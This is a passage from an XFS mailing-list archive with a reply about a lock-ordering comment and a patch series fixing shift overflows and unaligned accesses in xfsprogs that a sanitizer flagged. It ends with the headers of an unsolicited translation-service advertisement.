xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CD0847F37 for ; Thu, 8 Oct 2015 18:02:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5972DAC007 for ; Thu, 8 Oct 2015 16:02:52 -0700 (PDT) X-ASG-Debug-ID: 1444345370-04cbb03f134fa00001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id B1KVOFUdKbmL28PN for ; Thu, 08 Oct 2015 16:02:50 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from orsmga003.jf.intel.com ([10.7.209.27]) by orsmga103.jf.intel.com with ESMTP; 08 Oct 2015 16:02:43 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,656,1437462000"; d="scan'208";a="660688501" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.146]) by orsmga003.jf.intel.com with ESMTP; 08 Oct 2015 16:02:42 -0700 Date: Thu, 8 Oct 2015 17:02:42 -0600 From: Ross Zwisler To: Dave Chinner Cc: Ross Zwisler , linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: clarify lock ordering comment Message-ID: <20151008230242.GA14219@linux.intel.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: clarify lock ordering comment References: <1444341481-14139-1-git-send-email-ross.zwisler@linux.intel.com> <20151008222450.GH32150@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151008222450.GH32150@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1444345370 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23319 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 09, 2015 at 09:24:50AM +1100, Dave Chinner wrote: > On Thu, Oct 08, 2015 at 03:58:01PM -0600, Ross Zwisler wrote: > > Replace "i_mmap_lock" with "mmap_lock" in the lock ordering comment above > > xfs_filemap_page_mkwrite(). The lock in question is actually the > > XFS_MMAPLOCK_SHARED rw_semaphore (no leading "i"), and this comment is > > struct xfs_inode { > .... > mrlock_t i_mmaplock; /* inode mmap IO lock */ > .... > > > easily confused with the "i_mmap_lock_[read|write]" functions that operate > > on struct address_space->i_mmap_rwsem. This clarification is especially > > important because address_space->i_mmap_rwsem is taken down in the DAX > > code as part of this fault path. > > > > Signed-off-by: Ross Zwisler > > --- > > fs/xfs/xfs_file.c | 2 +- > > 1 file changed, 1 insertion(+), 1 deletion(-) > > > > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > > index f429662..b190033 100644 > > --- a/fs/xfs/xfs_file.c > > +++ b/fs/xfs/xfs_file.c > > @@ -1477,7 +1477,7 @@ xfs_file_llseek( > > * > > * mmap_sem (MM) > > * sb_start_pagefault(vfs, freeze) > > - * i_mmap_lock (XFS - truncate serialisation) > > + * mmap_lock (XFS - truncate serialisation) > > As per above, the XFS lock is "i_mmaplock"... > > The lock names are annotated with the subsystem the lock belongs to > to avoid this confusion. Along with the lock ordering (inside > sb_start_pagefault) this should indicate that it's not the > "i_mmap_lock (MM - vma serialisation)" lock... ;) Ah, that makes sense, thanks. :) From sandeen@redhat.com Thu Oct 8 19:23:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 339757F37 for ; Thu, 8 Oct 2015 19:23:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 10D318F8040 for ; Thu, 8 Oct 2015 17:23:42 -0700 (PDT) X-ASG-Debug-ID: 1444350217-04cbb03f1451450001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3rtjoNq8tbzkl599 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 08 Oct 2015 17:23:38 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 3974C32C436 for ; Fri, 9 Oct 2015 00:23:37 +0000 (UTC) Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t990NaRA026708 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Oct 2015 20:23:37 -0400 To: xfs@oss.sgi.com From: Eric Sandeen Subject: [PATCH 0/4] fix (mostly) minor nits spotted by gcc sanitization Message-ID: <56170906.5090301@redhat.com> X-ASG-Orig-Subj: [PATCH 0/4] fix (mostly) minor nits spotted by gcc sanitization Date: Thu, 8 Oct 2015 19:23:34 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444350217 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 newer gcc supports -fsanitize=undefined, which spits out errors when the code does something ... undefined. These are a handful of the (IMHO) obvious and unobtrusive fixes that knock down the noise. From sandeen@sandeen.net Thu Oct 8 19:25:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B323E7F37 for ; Thu, 8 Oct 2015 19:25:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 307C8AC001 for ; Thu, 8 Oct 2015 17:24:58 -0700 (PDT) X-ASG-Debug-ID: 1444350296-04cbb03f14514b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id DRx8TG42gJEURyHH for ; Thu, 08 Oct 2015 17:24:56 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (unknown [205.215.222.148]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 4C3EE61F8992 for ; Thu, 8 Oct 2015 19:24:56 -0500 (CDT) Subject: [PATCH 1/4] libxfs: avoid negative (and full-width) shifts in radix-tree.c To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 1/4] libxfs: avoid negative (and full-width) shifts in radix-tree.c References: <56170906.5090301@redhat.com> From: Eric Sandeen Message-ID: <56170955.9020105@sandeen.net> Date: Thu, 8 Oct 2015 19:24:53 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56170906.5090301@redhat.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444350296 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23322 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Pull this commit over from the kernel, as libubsan spotted a bad shift at runtime: commit 430d275a399175c7c0673459738979287ec1fd22 Author: Peter Lund Date: Tue Oct 16 23:29:35 2007 -0700 avoid negative (and full-width) shifts in radix-tree.c Negative shifts are not allowed in C (the result is undefined). Same thing with full-width shifts. It works on most platforms but not on the VAX with gcc 4.0.1 (it results in an "operand reserved" fault). Shifting by more than the width of the value on the left is also not allowed. I think the extra '>> 1' tacked on at the end in the original code was an attempt to work around that. Getting rid of that is an extra feature of this patch. Here's the chapter and verse, taken from the final draft of the C99 standard ("6.5.7 Bitwise shift operators", paragraph 3): "The integer promotions are performed on each of the operands. The type of the result is that of the promoted left operand. If the value of the right operand is negative or is greater than or equal to the width of the promoted left operand, the behavior is undefined." Thank you to Jan-Benedict Glaw, Christoph Hellwig, Maciej Rozycki, Pekka Enberg, Andreas Schwab, and Christoph Lameter for review. Special thanks to Andreas for spotting that my fix only removed half the undefined behaviour. Signed-off-by: Peter Lund Signed-off-by: Eric Sandeen --- libxfs/radix-tree.c | 14 ++++++++------ 1 files changed, 8 insertions(+), 6 deletions(-) diff --git a/libxfs/radix-tree.c b/libxfs/radix-tree.c index 4d44ab4..eef9c36 100644 --- a/libxfs/radix-tree.c +++ b/libxfs/radix-tree.c @@ -784,12 +784,14 @@ int radix_tree_tagged(struct radix_tree_root *root, unsigned int tag) static unsigned long __maxindex(unsigned int height) { - unsigned int tmp = height * RADIX_TREE_MAP_SHIFT; - unsigned long index = (~0UL >> (RADIX_TREE_INDEX_BITS - tmp - 1)) >> 1; - - if (tmp >= RADIX_TREE_INDEX_BITS) - index = ~0UL; - return index; + unsigned int width = height * RADIX_TREE_MAP_SHIFT; + int shift = RADIX_TREE_INDEX_BITS - width; + + if (shift < 0) + return ~0UL; + if (shift >= BITS_PER_LONG) + return 0UL; + return ~0UL >> shift; } static void radix_tree_init_maxindex(void) -- 1.7.1 From sandeen@sandeen.net Thu Oct 8 19:25:32 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 35C277F37 for ; Thu, 8 Oct 2015 19:25:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EE633304032 for ; Thu, 8 Oct 2015 17:25:28 -0700 (PDT) X-ASG-Debug-ID: 1444350326-04bdf020dc50260001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id fxiF8pyIApJQ6TPt for ; Thu, 08 Oct 2015 17:25:26 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (unknown [205.215.222.148]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7FE0561F8992 for ; Thu, 8 Oct 2015 19:25:26 -0500 (CDT) Subject: [PATCH 2/4] xfs_repair: fix unaligned accesses To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 2/4] xfs_repair: fix unaligned accesses References: <56170906.5090301@redhat.com> From: Eric Sandeen Message-ID: <56170974.5020604@sandeen.net> Date: Thu, 8 Oct 2015 19:25:24 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56170906.5090301@redhat.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444350326 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23322 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This fixes some unaligned accesses spotted by libubsan in repair. Signed-off-by: Eric Sandeen --- repair/dinode.c | 19 +++++++++---------- repair/prefetch.c | 4 ++-- 2 files changed, 11 insertions(+), 12 deletions(-) diff --git a/repair/dinode.c b/repair/dinode.c index f78f907..44bbb8f 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -960,13 +960,13 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), * btree, we'd do it right here. For now, if there's a * problem, we'll bail out and presumably clear the inode. */ - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { do_warn(_("bad bmap btree ptr 0x%llx in ino %" PRIu64 "\n"), - (unsigned long long) be64_to_cpu(pp[i]), lino); + get_unaligned_be64(&pp[i]), lino); return(1); } - if (scan_lbtree(be64_to_cpu(pp[i]), level, scan_bmapbt, type, + if (scan_lbtree(get_unaligned_be64(&pp[i]), level, scan_bmapbt, type, whichfork, lino, tot, nex, blkmapp, &cursor, 1, check_dups, magic, &xfs_bmbt_buf_ops)) return(1); @@ -977,25 +977,24 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), * blocks but the parent hasn't been updated */ if (!check_dups && cursor.level[level-1].first_key != - be64_to_cpu(pkey[i].br_startoff)) { + get_unaligned_be64(&pkey[i].br_startoff)) { if (!no_modify) { do_warn( _("correcting key in bmbt root (was %llu, now %" PRIu64") in inode " "%" PRIu64" %s fork\n"), - (unsigned long long) - be64_to_cpu(pkey[i].br_startoff), + get_unaligned_be64(&pkey[i].br_startoff), cursor.level[level-1].first_key, XFS_AGINO_TO_INO(mp, agno, ino), forkname); *dirty = 1; - pkey[i].br_startoff = cpu_to_be64( - cursor.level[level-1].first_key); + put_unaligned_be64( + cpu_to_be64(cursor.level[level-1].first_key), + &pkey[i].br_startoff); } else { do_warn( _("bad key in bmbt root (is %llu, would reset to %" PRIu64 ") in inode " "%" PRIu64 " %s fork\n"), - (unsigned long long) - be64_to_cpu(pkey[i].br_startoff), + get_unaligned_be64(&pkey[i].br_startoff), cursor.level[level-1].first_key, XFS_AGINO_TO_INO(mp, agno, ino), forkname); diff --git a/repair/prefetch.c b/repair/prefetch.c index 32ec55e..52238ca 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -330,7 +330,7 @@ pf_scanfunc_bmap( pp = XFS_BMBT_PTR_ADDR(mp, block, 1, mp->m_bmap_dmxr[1]); for (i = 0; i < numrecs; i++) { - dbno = be64_to_cpu(pp[i]); + dbno = get_unaligned_be64(&pp[i]); if (!verify_dfsbno(mp, dbno)) return 0; if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) @@ -372,7 +372,7 @@ pf_read_btinode( pp = XFS_BMDR_PTR_ADDR(dib, 1, xfs_bmdr_maxrecs(dsize, 0)); for (i = 0; i < numrecs; i++) { - dbno = be64_to_cpu(pp[i]); + dbno = get_unaligned_be64(&pp[i]); if (!verify_dfsbno(mp, dbno)) break; if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) -- 1.7.1 From sandeen@sandeen.net Thu Oct 8 19:25:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2FD8B7F37 for ; Thu, 8 Oct 2015 19:25:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0EDA88F8035 for ; Thu, 8 Oct 2015 17:25:53 -0700 (PDT) X-ASG-Debug-ID: 1444350352-04cbb03f12514e0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 8ZEJx0QtveUTTbaW for ; Thu, 08 Oct 2015 17:25:52 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (unknown [205.215.222.148]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 82EB461F8992 for ; Thu, 8 Oct 2015 19:25:52 -0500 (CDT) Subject: [PATCH 3/4] xfs_logprint: fix some unaligned accesses To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 3/4] xfs_logprint: fix some unaligned accesses References: <56170906.5090301@redhat.com> From: Eric Sandeen Message-ID: <5617098E.9090102@sandeen.net> Date: Thu, 8 Oct 2015 19:25:50 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56170906.5090301@redhat.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444350352 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23322 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This routine had a fair bit of gyration to avoid unaligned accesses, but didn't fix them all. Fix some more spotted at runtime by libubsan. Signed-off-by: Eric Sandeen --- logprint/log_misc.c | 18 +++++++++++++++--- repair/btree.c | 1 + 2 files changed, 16 insertions(+), 3 deletions(-) diff --git a/logprint/log_misc.c b/logprint/log_misc.c index d76145c..6cd249a 100644 --- a/logprint/log_misc.c +++ b/logprint/log_misc.c @@ -325,7 +325,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) } super_block = 0; } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_AGI_MAGIC) { - agi = (xfs_agi_t *)(*ptr); + struct xfs_agi agi_s; + + /* memmove because *ptr may not be 8-byte aligned */ + memmove(&agi_s, *ptr, sizeof(struct xfs_agi)); + agi = &agi_s; printf(_("AGI Buffer: XAGI ")); /* * v4 filesystems only contain the fields before the uuid. @@ -375,7 +379,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) } } } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_AGF_MAGIC) { - agf = (xfs_agf_t *)(*ptr); + struct xfs_agf agf_s; + + /* memmove because *ptr may not be 8-byte aligned */ + memmove(&agf_s, *ptr, sizeof(struct xfs_agf)); + agf = &agf_s; printf(_("AGF Buffer: XAGF ")); /* * v4 filesystems only contain the fields before the uuid. @@ -408,7 +416,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) be32_to_cpu(agf->agf_longest)); } } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_DQUOT_MAGIC) { - dq = (xfs_disk_dquot_t *)(*ptr); + struct xfs_disk_dquot dq_s; + + /* memmove because *ptr may not be 8-byte aligned */ + memmove(&dq_s, *ptr, sizeof(struct xfs_disk_dquot)); + dq = &dq_s; printf(_("DQUOT Buffer: DQ ")); if (be32_to_cpu(head->oh_len) < sizeof(xfs_disk_dquot_t)) { diff --git a/repair/btree.c b/repair/btree.c index 66fb40b..e31e67a 100644 --- a/repair/btree.c +++ b/repair/btree.c @@ -230,6 +230,7 @@ btree_get_next( } if (level == 0) { if (key) { + /* XXXX what if index past MAX? What if no next? */ cur->index++; *key = btree_key_of_cursor(cur, root->height); cur->index--; -- 1.7.1 From sandeen@sandeen.net Thu Oct 8 19:27:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 447367F37 for ; Thu, 8 Oct 2015 19:27:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2F921304032 for ; Thu, 8 Oct 2015 17:27:25 -0700 (PDT) X-ASG-Debug-ID: 1444350443-04cb6c578a4be50001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id e7U15fg0Oy0g1kWD for ; Thu, 08 Oct 2015 17:27:23 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (unknown [205.215.222.148]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 5304E61F8992 for ; Thu, 8 Oct 2015 19:27:23 -0500 (CDT) Subject: [PATCH 4/4] xfs_repair: fix left-shift overflows To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 4/4] xfs_repair: fix left-shift overflows References: <56170906.5090301@redhat.com> From: Eric Sandeen Message-ID: <561709E9.3000406@sandeen.net> Date: Thu, 8 Oct 2015 19:27:21 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56170906.5090301@redhat.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444350443 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23322 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- pmask in struct parent_list is a __uint64_t, but in some places we populated it with "1LL << shift" where shift could be up to 63; this really needs to be a 1ULL type for this to be correct. Also spotted by libubsan... The code in prefetch.c has another issue with large fs blocks (32 or 64k) because it shifts by up to 128 bits, but that's left for later... Signed-off-by: Eric Sandeen --- repair/incore_ino.c | 14 +++++++------- repair/prefetch.c | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/repair/incore_ino.c b/repair/incore_ino.c index 32d7678..1898257 100644 --- a/repair/incore_ino.c +++ b/repair/incore_ino.c @@ -625,7 +625,7 @@ set_inode_parent( else irec->ino_un.plist = ptbl; - ptbl->pmask = 1LL << offset; + ptbl->pmask = 1ULL << offset; ptbl->pentries = (xfs_ino_t*)memalign(sizeof(xfs_ino_t), sizeof(xfs_ino_t)); if (!ptbl->pentries) @@ -638,8 +638,8 @@ set_inode_parent( return; } - if (ptbl->pmask & (1LL << offset)) { - bitmask = 1LL; + if (ptbl->pmask & (1ULL << offset)) { + bitmask = 1ULL; target = 0; for (i = 0; i < offset; i++) { @@ -655,7 +655,7 @@ set_inode_parent( return; } - bitmask = 1LL; + bitmask = 1ULL; cnt = target = 0; for (i = 0; i < XFS_INODES_PER_CHUNK; i++) { @@ -691,7 +691,7 @@ set_inode_parent( ptbl->cnt++; #endif ptbl->pentries[target] = parent; - ptbl->pmask |= (1LL << offset); + ptbl->pmask |= (1ULL << offset); } xfs_ino_t @@ -707,8 +707,8 @@ get_inode_parent(ino_tree_node_t *irec, int offset) else ptbl = irec->ino_un.plist; - if (ptbl->pmask & (1LL << offset)) { - bitmask = 1LL; + if (ptbl->pmask & (1ULL << offset)) { + bitmask = 1ULL; target = 0; for (i = 0; i < offset; i++) { diff --git a/repair/prefetch.c b/repair/prefetch.c index 52238ca..b11dcb3 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -762,7 +762,7 @@ pf_queuing_worker( * sparse state in cluster sized chunks as cluster size * is the min. granularity of sparse irec regions. */ - if ((sparse & ((1 << inodes_per_cluster) - 1)) == 0) + if ((sparse & ((1ULL << inodes_per_cluster) - 1)) == 0) pf_queue_io(args, &map, 1, (cur_irec->ino_isa_dir != 0) ? B_DIR_INODE : B_INODE); -- 1.7.1 From translation@wonderfultrans.com Fri Oct 9 01:28:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E94457F37 for ; Fri, 9 Oct 2015 01:28:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D32CC30404E for ; Thu, 8 Oct 2015 23:27:58 -0700 (PDT) X-ASG-Debug-ID: 1444372072-04cbb03f13588a0001-NocioJ Received: from smtp-3-57.sina.net (mta319.sina.net [202.106.182.234]) by cuda.sgi.com with SMTP id t2ODkoV8GH7RCls7 for ; Thu, 08 Oct 2015 23:27:53 -0700 (PDT) X-Barracuda-Envelope-From: translation@wonderfultrans.com X-Barracuda-Apparent-Source-IP: 202.106.182.234 Received: from unknown (HELO vweb.sina.net)([10.69.2.165]) by sina.net with SMTP 9 Oct 2015 14:27:50 +0800 (CST) X-Sender: translation@wonderfultrans.com X-SMAIL-MID: 85289410453382 Received: by webmail-2-165.iproxy.email.yf.sinanode.com (Postfix, from userid 99) id 22854617A3; Fri, 9 Oct 2015 14:27:51 +0800 (CST) Date: Fri, 09 Oct 2015 14:27:51 +0800 Received: from translation@wonderfultrans.com([180.173.43.42]) by bj4.mail.sina.net via HTTP; Fri, 09 Oct 2015 14:27:51 +0800 (CST) Reply-To: translation@wonderfultrans.com From: To: "market" Subject: More Than 12 Years of Translation Industry Experience from Shanghai Wonderful Translation Company(Quality and Reliability 2015) MIME-Version: 1.0 X-ASG-Orig-Subj: More Than 12 Years of Translation Industry Experience from Shanghai Wonderful Translation Company(Quality and Reliability 2015) X-Priority: 3 X-MessageID: 1444372071.0629.3740 X-Originating-IP: [218.30.122.121] X-Mailer: Sina WebMail 4.0 Content-Type: multipart/alternative; boundary="=-sinamail_alt_1df07c5fbcd5cefd2d0b8edf024d4ac7" Message-Id: <20151009062751.22854617A3@webmail-2-165.iproxy.email.yf.sinanode.com> X-Barracuda-Connect: mta319.sina.net[202.106.182.234] X-Barracuda-Start-Time: 1444372072 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, HTML_MESSAGE, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23328 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 ADVANCE_FEE_1 Appears to be advance fee 